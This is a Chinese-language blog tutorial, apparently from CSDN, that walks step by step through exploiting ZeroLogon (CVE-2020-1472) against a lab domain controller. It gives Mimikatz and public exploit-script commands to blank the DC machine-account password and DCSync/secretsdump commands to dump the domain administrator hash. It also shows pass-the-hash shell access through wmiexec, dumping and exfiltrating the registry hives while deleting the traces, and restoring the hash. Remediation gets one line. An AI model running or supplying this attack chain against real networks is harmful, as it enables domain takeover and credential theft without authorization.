ZeroLogon (CVE-2020-1472) 漏洞利用

ZeroLogon (CVE-2020-1472) 是高危Windows漏洞,允许攻击者无需凭据获取域管理员权限。本文介绍了漏洞原理、影响系统,以及详细步骤演示如何验证漏洞、置空域控HASH、获取域管HASH和恢复过程。最后讨论了漏洞修复措施。
摘要由CSDN通过智能技术生成

ZeroLogon (CVE-2020-1472) 是近几年Windows上曝出的高危漏洞,CVSS V3.0评分10.0,攻击者只需要定位域控主机名及IP,并且可以访问域控,就可以在无需任何凭据的情况下 (可在域外) 拿到域管理员的权限。

一、漏洞介绍

ZeroLogon (CVE-2020-1472) 影响域内登录认证协议Netlogon (MS-NRPC) 中所使用的加密身份验证方案 (AES-CFB8),在通过NetLogon协议与AD域控建立安全通道时,强行登录尝试,对全零的纯文本应用AES-CFB8加密将导致全零的密文,从而可以绕过正常认证,进一步可获取域管理员HASH,获取域管权限。

影响系统版本:
Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
Windows Server 2012
Windows Server 2012 (Server Core installation)
Windows Server 2012 R2
Windows Server 2012 R2 (Server Core installation)
Windows Server 2016
Windows Server 2016 (Server Core installation)
Windows Server 2019
Windows Server 2019 (Server Core installation)
Windows Server, version 1903 (Server Core installation)
Windows Server, version 1909 (Server Core installation)
Windows Server, version 2004 (Server Core installation)

二、漏洞利用

实验环境
域控制器及域信息:
OS: Microsoft Windows Server 2016 Datacenter
Hostname: DC01
IP: 192.168.43.100
Domain: main.test.com
NetBIOS Domain Name: MAIN

攻击机不在域内,但能访问域控
工具和指令均在攻击机上操作

第1步 验证漏洞存在

方法一:Mimikatz

下载新版本,需要支持ZeroLogon漏洞利用:https://github.com/gentilkiwi/mimikatz

mimikatz.exe "lsadump::zerologon /target:192.168.43.100 /account:DC01$" exit

方法二:工具 https://github.com/SecuraBV/CVE-2020-1472

python3 zerologon_tester.py DC01 192.168.43.100

第2步 置空域控HASH

注意:域控的机器帐户HASH存储在注册表中,系统启动时会将其加载到lsass,当攻击置空域控HASH后,仅AD (NTDS.DIT) 中的密码会更改,而不是注册表或加载到lsass中的密码,这样将会导致域控脱域,无法使用Kerberos进行身份验证,因此要尽快恢复。

方法一:Mimikatz

mimikatz.exe "lsadump::zerologon /target:192.168.43.100 /account:DC01$ /exploit" exit

方法二:工具 https://github.com/risksense/zerologon

python3 set_empty_pw.py DC01 192.168.43.100

方法三:工具 https://github.com/dirkjanm/CVE-2020-1472

python3 cve-2020-1472-exploit.py DC01 192.168.43.100

第3步 获取域管HASH

方法一:Mimikatz

mimikatz.exe "lsadump::dcsync /domain:main.test.com /dc:DC01 /user:administrator /authuser:DC01$ /authdomain:main /authpassword:"" /authntlm" exit

运行结果如下所示,获取域管 MAIN\Administrator 的HASH为 cf83cd7efde13e0ce754874aaa979a74
请添加图片描述
方法二:Impacket

Impacket工具包地址:https://github.com/SecureAuthCorp/impacket,利用其中的secretsdump.py工具获取域管HASH:

# 31d6cfe0d16ae931b73c59d7e0c089c0是空值的HASH
python3 secretsdump.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 MAIN/DC01$@192.168.43.100
OR
python3 secretsdump.py MAIN/DC01$@192.168.43.100 -just-dc -no-pass

运行结果如下所示,获取域管 MAIN\Administrator 的HASH为 cf83cd7efde13e0ce754874aaa979a74,注意此时NTDS.DIT中域控DC01$的HASH已是空值 31d6cfe0d16ae931b73c59d7e0c089c0
请添加图片描述

第4步 恢复域控HASH

Mimikatz恢复域控HASH是将NTDS.DIT中的凭证以及注册表/lsass中的凭证同时修改为 (Waza1234/Waza1234/Waza1234),并非是原本值,虽然不影响域运行,但是还是留下了痕迹。

推荐方法是恢复成原始的HASH,首先要获取注册表信息中域控原始HASH,可以利用Impacket包中的wmiexec.py、psexec.py工具获取,以wmiexec.py为例,命令中进行了HASH传递,凭证是刚刚获取的域管HASH:

python3 wmiexec.py -hashes :cf83cd7efde13e0ce754874aaa979a74 MAIN/administrator@192.168.43.100

# 获取注册表转储文件,默认存在目标机C:\目录下
# 目标机中文系统会提示解码错误,不影响使用
# /y:强制覆盖已存在文件,避免目标机C:\目录下存在同名文件,命令会询问是否覆盖,半交互环境程序会卡住
C:\>reg save HKLM\SYSTEM system.hive /y    
C:\>reg save HKLM\SAM sam.hive /y         
C:\>reg save HKLM\SECURITY security.hive /y

# 将转储文件,下载到本地
C:\>lget system.hive                    
C:\>lget sam.hive
C:\>lget security.hive

# 删除目标机上的转储文件
C:\>del /f system.hive                 
C:\>del /f sam.hive
C:\>del /f security.hive

C:\>exit

# 通过注册表转储导出HASH
secretsdump.py -sam sam.hive -system system.hive -security security.hive LOCAL

运行结果如下所示,域控密钥 (HEX) 为: 40cb3f6931f77bec7856f848751e135515d868f80b3f7f618472dfa9e83a6fac7a6c7069b7626371f7812607d47b19df6506d1b28d1e8640b06882116feae2fee977bcb6f55db375dc6181b0e4a656ab22ef183f904cbe66d4cfbfd3c13fa5c96933b0ff8b8c07a97a0b38c3c7af4c948578caa5e2842eedc63e94c47c1624cd4b952bc3cf6871cdf8367225522d71e2d754ea642550087a8a6ef91f2ab2b32d3a2f1beb0735c06a72e0e02ff89e5645edfbfb7a190c667c1356a893b831051f4e5ba2d2bea86ec59613660d66b06eb57482ec466ca21d1324b7c83d6f68778e5c66ac7e96d5ec8c6032655a5b904099,NTLM HASH为: aad3b435b51404eeaad3b435b51404ee:ecf5b7fcd090c34fedd3056ae8da65ad,注意这里与上一步抓出来的空HASH不同,因为上一步中获取的是NTDS.DIT中域控HASH记录,而这一步获取的是注册表中HASH记录

请添加图片描述
然后用工具恢复,将注册表中HASH记录同步到NTDS.DIT:

方法一:工具 https://github.com/risksense/zerologon

利用NT HASH恢复:

python3 reinstall_original_pw.py DC01 192.168.43.100 ecf5b7fcd090c34fedd3056ae8da65ad

方法二:工具 https://github.com/dirkjanm/CVE-2020-1472

利用密钥 (HEX) 恢复:

python3 restorepassword.py main/dc01@dc01 -target-ip 192.168.43.100 -hexpass 40cb3f6931f77bec7856f848751e135515d868f80b3f7f618472dfa9e83a6fac7a6c7069b7626371f7812607d47b19df6506d1b28d1e8640b06882116feae2fee977bcb6f55db375dc6181b0e4a656ab22ef183f904cbe66d4cfbfd3c13fa5c96933b0ff8b8c07a97a0b38c3c7af4c948578caa5e2842eedc63e94c47c1624cd4b952bc3cf6871cdf8367225522d71e2d754ea642550087a8a6ef91f2ab2b32d3a2f1beb0735c06a72e0e02ff89e5645edfbfb7a190c667c1356a893b831051f4e5ba2d2bea86ec59613660d66b06eb57482ec466ca21d1324b7c83d6f68778e5c66ac7e96d5ec8c6032655a5b904099

方法三:Powershell

首先利用远程执行命令工具 (wmiexec、psexec、smbexec、atexec等) 获取域控shell,然后利用powershell命令重置主机HASH,注意这种方法并不是恢复原HASH,而是将NTDS.DIT中的凭证以及注册表/lsass中的凭证重置 (随机数):

python3 wmiexec.py -hashes :cf83cd7efde13e0ce754874aaa979a74 MAIN/administrator@192.168.43.100

C:\>powershell -c Reset-ComputerMachinePassword

三、漏洞修复

参考 Microsoft安全更新程序指南,域控上安装相应补丁即可,成员机不需要。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值